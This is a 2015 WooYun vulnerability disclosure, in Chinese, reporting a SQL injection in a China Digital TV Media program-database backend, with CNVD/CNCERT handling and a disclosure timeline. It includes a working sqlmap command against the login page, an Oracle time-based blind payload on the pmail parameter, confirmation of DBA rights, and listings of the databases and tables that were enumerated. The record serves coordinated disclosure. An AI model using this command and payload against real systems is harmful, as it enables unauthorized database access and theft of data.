当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156800

漏洞标题:中视传媒某系统SQL注入(oracle/dba权限)

相关厂商:中央数字电视传媒有限公司

漏洞作者: Ysql404

提交时间:2015-12-01 02:00

修复时间:2016-01-18 13:40

公开时间:2016-01-18 13:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

中视传媒某系统SQL注入

详细说明:

中视传媒互联网视听节目信息库后台SQL注入

sqlmap -u "http://**.**.**.**/Informationservice_new/right/loginExcute.jsp?pmail=admin&pcode=123456"  --random-agent --threads 10  --exclude-sysdb --dbs


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: pmail
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: pmail=admin' AND 9990=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)||CHR(81)||CHR(67)||CHR(98),5) AND 'GkyJ'='GkyJ&pcode=123456
---
[17:26:25] [INFO] the back-end DBMS is Oracle
web application technology: Apache, JSP
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'CCTVA'
[18:44:59] [INFO] testing if current user is DBA
current user is DBA: True

漏洞证明:

可以看出涉及多个系统的数据库

available databases [17]:
[*] "ORD_YS\X05\X11"
[*] "SYSMAO\X03"
[*] CCTV
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] OUTLN
[*] QUEST
[*] SCOTT
[*] SYS
[*] SYSTEM
[*] WMSYS
[*] XDB
[*] YSMSYS


Database: CTXSYS
[25 tables]
+-------------------------------+
| BUCH |
| LT_CUSTOM2 |
| PUBLISHER |
| SGA_XPLAN_TPL_V$SQL_PLAN_STAT |
| BINN_BANN |
| DEFERTEST |
| DIV_TREATMENT |
| GWS_PURCHASE |
| ID |
| JIVEPROPERTY |
| JUBJUB_ERRORS |
| LOGINOUT |
| MEMBRE |
| MIMA |
| OIL_COMPONENTS |
| PEER_CONFIGS |
| PELATES |
| PHPBB_TOPICS |
| PHPSHOP_CATEGORIES |
| SPIP_VISITES |
| TBACCOUNT |
| TBLLOGIN |
| TRIVIA |
| XOOPS_USERS |
| ZL_ADVERTISEMENT |
+-------------------------------+


不在深入。

修复方案:

你们更专业

版权声明:转载请注明来源 Ysql404@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-12-04 13:38

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给上海分中心,由其后续协调网站管理单位处置。

最新状态:

2015-12-04:更正处置情况:CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。